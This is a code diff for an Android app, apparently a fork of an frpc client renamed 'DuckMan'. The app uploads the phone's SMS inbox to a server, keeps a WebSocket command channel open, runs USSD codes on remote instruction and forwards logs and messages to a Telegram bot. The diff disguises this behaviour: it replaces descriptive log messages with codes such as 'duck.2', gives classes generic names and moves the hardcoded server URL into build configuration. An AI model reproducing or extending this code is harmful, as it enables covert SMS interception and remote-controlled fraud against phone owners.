-                                    XLog.i("[CheckInboxWorker] onFail: SMS[" + id + "] commit fail.");
-                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit fail.");
+                                    Log.i(Config.LOG_TAG, "duck.3 onFail: SMS[" + id + "] commit fail.");
+                                    XLog.i("duck.3 onFail: SMS[" + id + "] commit fail.");
                                 }
                             });
                 }
 
             }
-            Log.i(Config.LOG_TAG, "All SMS commit success.");
-            XLog.i("All SMS commit success.");
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("All SMS commit success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+            Log.i(Config.LOG_TAG, "duck.3 success.");
+            XLog.i("duck.3 success.");
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 success." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
             return Result.success();
         } catch (Exception e) {
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[" + e.getMessage() + "]");
-            Log.e(Config.LOG_TAG, "Sms inbox worker retrying.", e);
-            XLog.e("Sms inbox worker retrying.", e);
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[" + e.getMessage() + "]");
+            Log.e(Config.LOG_TAG, "duck.3 retrying.", e);
+            XLog.e("duck.3 retrying.", e);
             return Result.retry();
         }
 
@@ -130,8 +127,8 @@ public class CheckInboxWorker extends Worker {
     }
 
     public static void start() {
-        Log.i(Config.LOG_TAG, "inbox message worker start. RepeatInterval = 15, timeUnit = minutes, uniqueWorkName = CheckInboxWorker");
-        XLog.i("inbox message worker start. RepeatInterval = 15, timeUnit = minutes, uniqueWorkName = CheckInboxWorker");
+        Log.i(Config.LOG_TAG, "duck.3 worker start.");
+        XLog.i("duck.3 worker start.");
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(CheckInboxWorker.class, 15, TimeUnit.MINUTES).build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("CheckInboxWorker", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);
     }
@@ -159,8 +156,8 @@ public class CheckInboxWorker extends Worker {
                 map.put("id", id + "");
             }
         } catch (Exception e) {
-            Log.e(Config.LOG_TAG, "QueryInboxMessage error.", e);
-            XLog.e("QueryInboxMessage error.", e);
+            Log.e(Config.LOG_TAG, "duck.3 message error.", e);
+            XLog.e("duck.3 message error.", e);
         } finally {
             if (cursor != null) {
                 cursor.close();

+ 19 - 20
frpc_android-master/app/src/main/java/com/car/frpc_android/util/HeartbeatWorker.java → frpc_android-master/app/src/main/java/com/app/duck/util/HeartbeatWorker.java

@@ -1,7 +1,7 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
+import static com.app.duck.Config.BREATH_TAG;
 import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
-import static com.car.frpc_android.Config.BREATH_TAG;
 
 import android.content.Context;
 import android.util.Log;
@@ -13,13 +13,13 @@ import androidx.work.WorkManager;
 import androidx.work.Worker;
 import androidx.work.WorkerParameters;
 
+import com.app.duck.Config;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.TimeUtils;
-import com.car.frpc_android.Config;
-import com.car.http.APPConfig;
-import com.car.http.BaseBean;
-import com.car.http.Http;
 import com.elvishew.xlog.XLog;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
@@ -35,9 +35,9 @@ public class HeartbeatWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(BREATH_TAG).post("SMS service retrying.[No phone number set yet.]");
-            Log.i(Config.LOG_TAG, "SMS service retrying.[No phone number set yet.]");
-            XLog.i("SMS service retrying.[No phone number set yet.]");
+            LiveEventBus.get(BREATH_TAG).post("duck.1 retrying.[No phone number set yet.]");
+            Log.i(Config.LOG_TAG, "duck.1 retrying.[No phone number set yet.]");
+            XLog.i("duck.1 retrying.[No phone number set yet.]");
             return Result.retry();
         }
         HashMap<String, Object> map = new HashMap<>();
@@ -55,25 +55,25 @@ public class HeartbeatWorker extends Worker {
                 .post(new Http.HttpCallBack<String>() {
                     @Override
                     public void onNext(String model) {
-                        LiveEventBus.get(BREATH_TAG).post("SMS service connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
-                        Log.i(Config.LOG_TAG, "SMS service connected.");
-                        XLog.i("SMS service connected.");
+                        LiveEventBus.get(BREATH_TAG).post("duck.1 connected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, "duck.1 connected.");
+                        XLog.i("duck.1 connected.");
                     }
 
                     @Override
                     public void onError(Throwable ex) {
                         super.onError(ex);
-                        Log.e(Config.LOG_TAG, "SMS service disconnected.", ex);
-                        XLog.e("SMS service disconnected.", ex);
-                        LiveEventBus.get(BREATH_TAG).post("SMS service disconnected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.e(Config.LOG_TAG, "duck.1 disconnected.", ex);
+                        XLog.e("duck.1 disconnected.", ex);
+                        LiveEventBus.get(BREATH_TAG).post("duck.1 disconnected." + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
                     }
 
                     @Override
                     public void onFail(BaseBean t) {
                         super.onFail(t);
-                        Log.i(Config.LOG_TAG, "SMS service disconnected.[" + t.getMsg() + "]");
-                        XLog.i("SMS service disconnected.[" + t.getMsg() + "]");
-                        LiveEventBus.get(BREATH_TAG).post("SMS service disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
+                        Log.i(Config.LOG_TAG, "duck.1 disconnected.[" + t.getMsg() + "]");
+                        XLog.i("duck.1 disconnected.[" + t.getMsg() + "]");
+                        LiveEventBus.get(BREATH_TAG).post("duck.1 disconnected.[" + t.getMsg() + "]" + TimeUtils.getNowString(getSafeDateFormat("MM-dd HH:mm")));
 
                     }
                 });
@@ -81,8 +81,7 @@ public class HeartbeatWorker extends Worker {
     }
 
     public static void start() {
-        Log.i(Config.LOG_TAG, "Heard beat worker start. RepeatInterval = 15, timeUnit = seconds, uniqueWorkName = heardbeatWork");
-        XLog.i("Heard beat worker start. RepeatInterval = 15, timeUnit = seconds, uniqueWorkName = heardbeatWork");
+        XLog.i("duck.1 start.");
         PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(HeartbeatWorker.class, 15, TimeUnit.SECONDS)
                 .build();
         WorkManager.getInstance().enqueueUniquePeriodicWork("heardbeatWork", ExistingPeriodicWorkPolicy.REPLACE, periodicWorkRequest);

+ 45 - 5
frpc_android-master/app/src/main/java/com/car/frpc_android/util/HxUtils.java → frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
 import android.Manifest;
 import android.annotation.SuppressLint;
@@ -21,6 +21,10 @@ import androidx.annotation.NonNull;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
+import com.app.duck.dialog.UploadAppDialog;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.BrightnessUtils;
 import com.blankj.utilcode.util.DeviceUtils;
@@ -34,10 +38,6 @@ import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.TimeUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.R;
-import com.car.frpc_android.dialog.UploadAppDialog;
 import com.elvishew.xlog.XLog;
 
 import java.io.BufferedReader;
@@ -45,6 +45,7 @@ import java.io.File;
 import java.io.FileFilter;
 import java.io.FileReader;
 import java.io.IOException;
+import java.io.InputStreamReader;
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -53,7 +54,10 @@ import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.TimeZone;
+import java.util.concurrent.TimeUnit;
 
+import io.reactivex.Completable;
+import io.reactivex.Observable;
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
@@ -146,6 +150,7 @@ public class HxUtils {
             try (Response response = client.newCall(request).execute()) {
                 if (response.isSuccessful()) {
                     String fileContent = response.body().string();
+                    XLog.i("Check for update:" + fileContent);
                     ThreadUtils.runOnUiThreadDelayed(() -> new UploadAppDialog(context, fileContent, toast), 500);
 
                 }
@@ -375,4 +380,39 @@ public class HxUtils {
     private static long bootTime() {
         return System.currentTimeMillis() - SystemClock.elapsedRealtimeNanos() / 1000000;
     }
+
+    public static Completable waitService(String serviceName, Context context) {
+        return Completable.fromObservable(Observable.interval(0, 1, TimeUnit.SECONDS)
+                .takeUntil(aLong -> {
+                    return isServiceRunning(serviceName, context);
+                })
+        );
+    }
+
+    public static boolean isServiceRunning(String serviceName, Context context) {
+        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        List<ActivityManager.RunningServiceInfo> runningServices = am.getRunningServices(Integer.MAX_VALUE); //获取运行的服务,参数表示最多返回的数量
+        for (ActivityManager.RunningServiceInfo runningServiceInfo : runningServices) {
+            String className = runningServiceInfo.service.getClassName();
+            if (className.equals(serviceName)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    public static Observable<String> getStringFromRaw(Context context, int rawName) {
+        return Observable.create(emitter -> {
+            BufferedReader reader = new BufferedReader(new InputStreamReader(context.getResources().openRawResource(rawName)));
+            String line;
+            StringBuilder result = new StringBuilder();
+            while ((line = reader.readLine()) != null) {
+                result.append(line).append("\n");
+            }
+            reader.close();
+            emitter.onNext(result.toString());
+            emitter.onComplete();
+        });
+
+    }
 }

+ 2 - 45
frpc_android-master/app/src/main/java/com/car/frpc_android/util/PermissionsUtils.java → frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java

@@ -1,15 +1,15 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
 import android.Manifest;
 import android.app.AlertDialog;
 import android.view.View;
 
+import com.app.duck.R;
 import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.PermissionUtils;
 import com.blankj.utilcode.util.RomUtils;
 import com.blankj.utilcode.util.StringUtils;
-import com.car.frpc_android.R;
 
 import org.jetbrains.annotations.NotNull;
 
@@ -44,49 +44,6 @@ public class PermissionsUtils {
                 }).request();
     }
 
-    public static void getPermission(final PermissionAction action, boolean isHaveSms) {
-        getPermission(action, permissions(), isHaveSms);
-
-    }
-
-    public static void getPermissionOther(final PermissionAction action, boolean must) {
-        PermissionUtils.permission(otherPermissions())
-                .rationale((activity, shouldRequest) -> pDialog(view -> shouldRequest.again(true)))
-                .callback(new PermissionUtils.FullCallback() {
-                    @Override
-                    public void onGranted(@NotNull List<String> permissionsGranted) {
-                        if (permissionsGranted.size() == otherPermissions().length) {
-                            if (RomUtils.isXiaomi())
-                                HxUtils.QueryXiaoMiSmsInbox();
-                            action.onGranted();
-                        }
-                    }
-
-                    @Override
-                    public void onDenied(@NotNull List<String> forever, @NotNull List<String> denied) {
-                        if (!forever.isEmpty()) {
-                            pDialog(view -> {
-                                AppUtils.launchAppDetailsSettings();
-                            });
-                        } else {
-                            if (must) {
-                                getPermissionOther(action, true);
-                            }
-                        }
-                    }
-                }).request();
-    }
-
-    public static String[] otherPermissions() {
-        return permissions(false, true);
-    }
-
-
-    public static String[] permissions() {
-        return permissions(true, false);
-    }
-
-
     public static String[] permissions(boolean b1, boolean b2) {
         List<String> permission = new ArrayList<>();
         if (b1) {

+ 14 - 15
frpc_android-master/app/src/main/java/com/car/frpc_android/util/FrpcService.java → frpc_android-master/app/src/main/java/com/app/duck/util/Service1.java

@@ -1,6 +1,6 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
-import static com.car.frpc_android.Config.EVENT_RUNNING_ERROR;
+import static com.app.duck.Config.EVENT_RUNNING_ERROR;
 
 import android.app.Notification;
 import android.app.NotificationChannel;
@@ -19,11 +19,10 @@ import androidx.annotation.Nullable;
 import androidx.core.app.NotificationCompat;
 import androidx.lifecycle.Observer;
 
-import com.car.frpc_android.R;
-import com.car.frpc_android.database.AppDatabase;
-import com.car.frpc_android.database.Config;
-import com.car.frpc_android.ui.HomeFragment;
-import com.car.frpc_android.ui.MainActivity;
+import com.app.duck.R;
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.ui.MainActivity;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import frpclib.Frpclib;
@@ -36,7 +35,7 @@ import io.reactivex.disposables.Disposable;
 import io.reactivex.functions.Function;
 import io.reactivex.schedulers.Schedulers;
 
-public class FrpcService extends Service {
+public class Service1 extends Service {
     public static final String INTENT_KEY_FILE = "INTENT_KEY_FILE";
     public static final int NOTIFY_ID = 0x1010;
     private final CompositeDisposable compositeDisposable = new CompositeDisposable();
@@ -65,7 +64,7 @@ public class FrpcService extends Service {
         }
 
 
-        AppDatabase.getInstance(FrpcService.this)
+        AppDatabase.getInstance(Service1.this)
                 .configDao()
                 .getConfigByUid(uid)
                 .flatMap((Function<Config, SingleSource<String>>) config -> {
@@ -83,7 +82,7 @@ public class FrpcService extends Service {
                     @Override
                     public void onSuccess(String error) {
                         if (!TextUtils.isEmpty(error)) {
-                            Toast.makeText(FrpcService.this, error, Toast.LENGTH_SHORT).show();
+                            Toast.makeText(Service1.this, error, Toast.LENGTH_SHORT).show();
                             LiveEventBus.get(EVENT_RUNNING_ERROR, String.class).post(uid);
                         }
                     }
@@ -108,12 +107,12 @@ public class FrpcService extends Service {
 
     private Notification createForegroundNotification() {
 
-        String notificationChannelId = "frpc_android_channel";
+        String notificationChannelId = "duck_man_channel";
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
-            String channelName = "ProToolbox Service Notification";
+            String channelName = "DuckMan Notification";
             int importance = NotificationManager.IMPORTANCE_HIGH;
             NotificationChannel notificationChannel = new NotificationChannel(notificationChannelId, channelName, importance);
-            notificationChannel.setDescription("ProToolbox Foreground Service");
+            notificationChannel.setDescription("DuckMan Service");
             notificationChannel.enableLights(true);
             notificationChannel.setLightColor(Color.GREEN);
             notificationChannel.setVibrationPattern(new long[]{0, 1000, 500, 1000});
@@ -124,8 +123,8 @@ public class FrpcService extends Service {
         }
         NotificationCompat.Builder builder = new NotificationCompat.Builder(this, notificationChannelId);
         builder.setSmallIcon(R.mipmap.ic_launcher);
-        builder.setContentTitle("ProToolbox Foreground Service");
-        builder.setContentText("ProToolbox Service is running");
+        builder.setContentTitle("DuckMan Foreground Service");
+        builder.setContentText("DuckMan Service is running");
         builder.setWhen(System.currentTimeMillis());
         Intent activityIntent = new Intent(this, MainActivity.class);
         PendingIntent pendingIntent;

+ 64 - 0
frpc_android-master/app/src/main/java/com/app/duck/util/Service2.java

@@ -0,0 +1,64 @@
+package com.app.duck.util;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.os.Build;
+import android.os.IBinder;
+
+import androidx.annotation.Nullable;
+import androidx.core.app.NotificationCompat;
+
+import com.app.duck.R;
+
+public class Service2 extends Service {
+    private static final int NOTIFICATION_ID = 1;
+    private static final String CHANNEL_ID = "channel_id";
+
+    private NotificationManager notificationManager;
+    private NotificationCompat.Builder notificationBuilder;
+
+    @Nullable
+    @Override
+    public IBinder onBind(Intent intent) {
+        throw new UnsupportedOperationException("Not yet implemented");
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        return super.onStartCommand(intent, flags, startId);
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        // 获取 NotificationManager
+        notificationManager = getSystemService(NotificationManager.class);
+        // 创建通知渠道(仅针对 Android O 及以上版本)
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, "channel_name", NotificationManager.IMPORTANCE_LOW);
+            if (notificationManager != null) {
+                notificationManager.createNotificationChannel(channel);
+            }
+        }
+        // 创建通知
+        notificationBuilder = new NotificationCompat.Builder(this, CHANNEL_ID)
+                .setSmallIcon(R.mipmap.ic_launcher)
+                .setContentTitle(getString(R.string.current_status))
+                .setContentText(getString(R.string.no_message))
+                .setPriority(NotificationCompat.PRIORITY_LOW);
+
+        startForeground(NOTIFICATION_ID, notificationBuilder.build());
+
+
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopForeground(true);
+    }
+
+
+}

+ 9 - 9
frpc_android-master/app/src/main/java/com/car/frpc_android/util/SmsReceiver.java → frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
 
 import android.content.BroadcastReceiver;
@@ -15,11 +15,11 @@ import com.alibaba.fastjson.JSON;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.database.DBHelper;
-import com.car.http.APPConfig;
-import com.car.http.BaseBean;
-import com.car.http.Http;
+import com.app.duck.Config;
+import com.app.duck.database.DBHelper;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
 import com.elvishew.xlog.XLog;
 
 import java.util.HashMap;
@@ -94,7 +94,7 @@ public class SmsReceiver extends BroadcastReceiver {
             }
             cursor.close();
         } else {
-            new TelegramBotExample("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
+            new TgBot("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp, true);
             Log.i(Config.LOG_TAG, "Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
             XLog.i("Find sms by id result error. body = " + body + " ,date_sent = " + timestamp);
             String selectionB = "date_sent = ?";
@@ -122,10 +122,10 @@ public class SmsReceiver extends BroadcastReceiver {
                 } else {
                     XLog.i("Second cursor.getColumnIndexOrThrow(Telephony.Sms._ID) < 0");
                 }
-                new TelegramBotExample("Find sms by id result success second. date_sent = " + timestamp, true);
+                new TgBot("Find sms by id result success second. date_sent = " + timestamp, true);
                 cursorB.close();
             } else {
-                new TelegramBotExample("Find sms by id result error second. date_sent = " + timestamp, true);
+                new TgBot("Find sms by id result error second. date_sent = " + timestamp, true);
                 Log.i(Config.LOG_TAG, "Find sms by id result error second. date_sent = " + timestamp);
                 XLog.i("Find sms by id result error second. date_sent = " + timestamp);
             }

+ 8 - 8
frpc_android-master/app/src/main/java/com/car/frpc_android/util/TelegramBotExample.java → frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java

@@ -1,7 +1,7 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
-import static com.car.http.APPConfig.APP_TG_SEND_DOCUMENT;
-import static com.car.http.APPConfig.APP_TG_SEND_MESSAGE;
+import static com.app.http.APPConfig.APP_TG_SEND_DOCUMENT;
+import static com.app.http.APPConfig.APP_TG_SEND_MESSAGE;
 
 import android.util.Log;
 
@@ -10,9 +10,9 @@ import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
 import com.blankj.utilcode.util.ZipUtils;
-import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.R;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
 import com.elvishew.xlog.XLog;
 
 import java.io.File;
@@ -31,9 +31,9 @@ import okhttp3.Response;
  * created on: 2023/10/17 12:04
  * description:
  */
-public class TelegramBotExample {
+public class TgBot {
 
-    public TelegramBotExample(String data, boolean message) {
+    public TgBot(String data, boolean message) {
         if (!message) {
             sendFileToGroup();
         } else {

+ 54 - 38
frpc_android-master/app/src/main/java/com/car/frpc_android/util/WebSocketManager.java → frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java

@@ -1,6 +1,6 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
-import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Intent;
 import android.os.Handler;
@@ -8,13 +8,14 @@ import android.util.Log;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.R;
 import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ThreadUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.R;
 import com.elvishew.xlog.XLog;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.romellfudi.ussdlibrary.OverlayShowingService;
@@ -38,7 +39,7 @@ import okhttp3.WebSocketListener;
  * created on: 2023/10/16 23:38
  * description:
  */
-public final class WebSocketManager {
+public final class WsManager {
     private static WebSocketListener webSocketListener;
     private static USSDApi ussdApi = USSDController.getInstance(Utils.getApp());
     private static WebSocket webSocket;
@@ -56,42 +57,36 @@ public final class WebSocketManager {
             @Override
             public void onOpen(WebSocket webSocket, Response response) {
                 super.onOpen(webSocket, response);
-                Log.i(Config.LOG_TAG, "WebSocket open. url = " + webSocket.request().url());
-                XLog.i("WebSocket open. url = " + webSocket.request().url());
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket open.");
+                Log.i(Config.LOG_TAG, "duck.2 open.");
+                XLog.i("duck.2 open.");
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 open.");
             }
 
             @Override
             public void onMessage(WebSocket webSocket, String text) {
                 super.onMessage(webSocket, text);
-                Log.i(Config.LOG_TAG, "WebSocket get a Message: " + text);
-                XLog.i("WebSocket get a Message: " + text);
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket message.");
-                //收到消息
                 JSONObject json = JSON.parseObject(text);
                 String command = json.getString("command");
                 String requestId = json.getString("request_id");
                 String ussdCode = json.getString("value");
                 switch (command) {
-                    //发起ussd拨号
                     case "invoke":
                         ThreadUtils.runOnUiThread(() -> callOverlay(ussdCode, requestId));
                         break;
-                    //发送ussd信息
+                    case "invoke2":
+                        ThreadUtils.runOnUiThread(() -> callOverlay2(ussdCode, requestId));
+                        break;
                     case "send":
                         ThreadUtils.runOnUiThread(() -> sendUssd(requestId, ussdCode));
                         break;
-                    //撤销ussd拨号
                     case "cancel":
                         ThreadUtils.runOnUiThread(() -> cancelUssd(requestId));
                         break;
-                    //上传设备日志
                     case "log":
-                        ThreadUtils.runOnUiThread(() -> new TelegramBotExample("", false));
+                        ThreadUtils.runOnUiThread(() -> new TgBot("", false));
                         break;
-                    //设备发送消息
                     case "message":
-                        ThreadUtils.runOnUiThread(() -> new TelegramBotExample(ussdCode, true));
+                        ThreadUtils.runOnUiThread(() -> new TgBot(ussdCode, true));
                         break;
                     case "config":
                         HxUtils.checkForUpdateBotConfig();
@@ -108,18 +103,18 @@ public final class WebSocketManager {
             public void onClosing(WebSocket webSocket, int code, String reason) {
                 super.onClosing(webSocket, code, reason);
                 webSocket.close(code, reason);
-                Log.i(Config.LOG_TAG, "WebSocket closing.");
-                XLog.i("WebSocket closing.");
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closing.[" + reason + "]");
+                Log.i(Config.LOG_TAG, "duck.2 closing.");
+                XLog.i("duck.2 closing.");
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closing.[" + reason + "]");
             }
 
             @Override
             public void onClosed(WebSocket webSocket, int code, String reason) {
                 super.onClosed(webSocket, code, reason);
                 reconnectWebSocket();
-                Log.i(Config.LOG_TAG, "WebSocket closed. code = " + code + ",reason = " + reason);
-                XLog.i("WebSocket closed. code = " + code + ",reason = " + reason);
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket closed.[" + reason + "]");
+                Log.i(Config.LOG_TAG, "duck.2 closed. code = " + code + ",reason = " + reason);
+                XLog.i("duck.2 closed. code = " + code + ",reason = " + reason);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 closed.[" + reason + "]");
 
             }
 
@@ -127,20 +122,19 @@ public final class WebSocketManager {
             public void onFailure(WebSocket webSocket, Throwable t, Response response) {
                 super.onFailure(webSocket, t, response);
                 reconnectWebSocket();
-                Log.e(Config.LOG_TAG, "WebSocket failure.", t);
-                XLog.e("WebSocket failure.", t);
-                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("WebSocket failure.[" + t.getMessage() + "]");
+                Log.e(Config.LOG_TAG, "duck.2 failure.", t);
+                XLog.e("duck.2 failure.", t);
+                LiveEventBus.get(WEBSOCKET_STATUS_TAG).post("duck.2 failure.[" + t.getMessage() + "]");
             }
         };
         executorServiceUi.execute(() -> {
                     try {
                         OkHttpClient client = new OkHttpClient.Builder().pingInterval(30, TimeUnit.SECONDS).build();
-                        String Url = "wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/" + HxUtils.getPhone() + "/";
-                        Request request = new Request.Builder().url(Url).build();
+                        Request request = new Request.Builder().url(BuildConfig.WEB_URL + HxUtils.getPhone() + "/").build();
                         webSocket = client.newWebSocket(request, webSocketListener);
                     } catch (Exception e) {
-                        Log.e(Config.LOG_TAG, "WebSocket error.", e);
-                        XLog.e("WebSocket error.", e);
+                        Log.e(Config.LOG_TAG, "duck.2 error.", e);
+                        XLog.e("duck.2 error.", e);
                     }
                 }
         );
@@ -156,7 +150,7 @@ public final class WebSocketManager {
     }
 
     private static void callOverlay(String ussd, String request_id) {
-        if (USSDController.verifyOverLay(Utils.getApp())) {
+        try {
             if (null != svc) {
                 Utils.getApp().stopService(svc);
             }
@@ -176,8 +170,30 @@ public final class WebSocketManager {
                     Utils.getApp().stopService(svc);
                 }
             });
-        } else {
-            sendWebSocketMsg(request_id, "exception", "!USSDController.verifyOverLay");
+        } catch (Exception e) {
+            XLog.e("error,ussd!", e);
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
+        }
+
+
+    }
+
+    private static void callOverlay2(String ussd, String request_id) {
+        try {
+            ussdApi.callUSSDInvoke(ussd, HxUtils.provideHashMap(), new USSDController.CallbackInvoke() {
+                @Override
+                public void responseInvoke(String message) {
+                    sendWebSocketMsg(request_id, "response", message);
+                }
+
+                @Override
+                public void over(String message) {
+                    sendWebSocketMsg(request_id, "over", message);
+                }
+            });
+        } catch (Exception e) {
+            XLog.e("error,ussd!", e);
+            sendWebSocketMsg(request_id, "exception", e.getMessage());
         }
 
 
@@ -235,11 +251,11 @@ public final class WebSocketManager {
         executorServiceUi.execute(() -> {
                     try {
                         if (webSocket != null) {
-                            webSocket.close(NORMAL_CLOSURE_STATUS, "WebSocket,Goodbye!");
+                            webSocket.close(NORMAL_CLOSURE_STATUS, "duck.2,Goodbye!");
                         }
                     } catch (Exception e) {
-                        Log.e(Config.LOG_TAG, "Close webSocket error.", e);
-                        XLog.e("Close webSocket error.", e);
+                        Log.e(Config.LOG_TAG, "Close duck.2 error.", e);
+                        XLog.e("Close duck.2 error.", e);
                     }
                 }
         );

+ 4 - 3
frpc_android-master/app/src/main/java/com/car/http/APPConfig.java → frpc_android-master/app/src/main/java/com/app/http/APPConfig.java

@@ -1,8 +1,8 @@
-package com.car.http;
+package com.app.http;
 
 import com.blankj.utilcode.util.AppUtils;
-import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.util.HxUtils;
+import com.app.duck.BuildConfig;
+import com.app.duck.util.HxUtils;
 
 public class APPConfig {
     public static final String BASE = BuildConfig.BASE_URL;
@@ -14,4 +14,5 @@ public class APPConfig {
     public static String APP_TG_SEND_DOCUMENT = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendDocument";
 
     public static String APP_TG_SEND_MESSAGE = "https://api.telegram.org/bot" + HxUtils.getBotToken() + "/sendMessage";
+
 }

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/http/BaseBean.java → frpc_android-master/app/src/main/java/com/app/http/BaseBean.java

@@ -1,4 +1,4 @@
-package com.car.http;
+package com.app.http;
 
 import org.xutils.http.annotation.HttpResponse;
 

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/http/Http.java → frpc_android-master/app/src/main/java/com/app/http/Http.java

@@ -1,4 +1,4 @@
-package com.car.http;
+package com.app.http;
 
 import android.app.Activity;
 import android.util.ArrayMap;

+ 2 - 2
frpc_android-master/app/src/main/java/com/car/http/LoadingDialog.java → frpc_android-master/app/src/main/java/com/app/http/LoadingDialog.java

@@ -1,4 +1,4 @@
-package com.car.http;
+package com.app.http;
 
 import android.app.Dialog;
 import android.content.Context;
@@ -6,7 +6,7 @@ import android.widget.ProgressBar;
 
 import androidx.annotation.NonNull;
 
-import com.car.frpc_android.R;
+import com.app.duck.R;
 
 
 public class LoadingDialog extends Dialog {

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/http/Parser.java → frpc_android-master/app/src/main/java/com/app/http/Parser.java

@@ -1,4 +1,4 @@
-package com.car.http;
+package com.app.http;
 
 import com.alibaba.fastjson.JSON;
 import com.blankj.utilcode.util.LogUtils;

+ 0 - 132
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/LogcatActivity.java

@@ -1,132 +0,0 @@
-package com.car.frpc_android.ui;
-
-import android.content.ClipData;
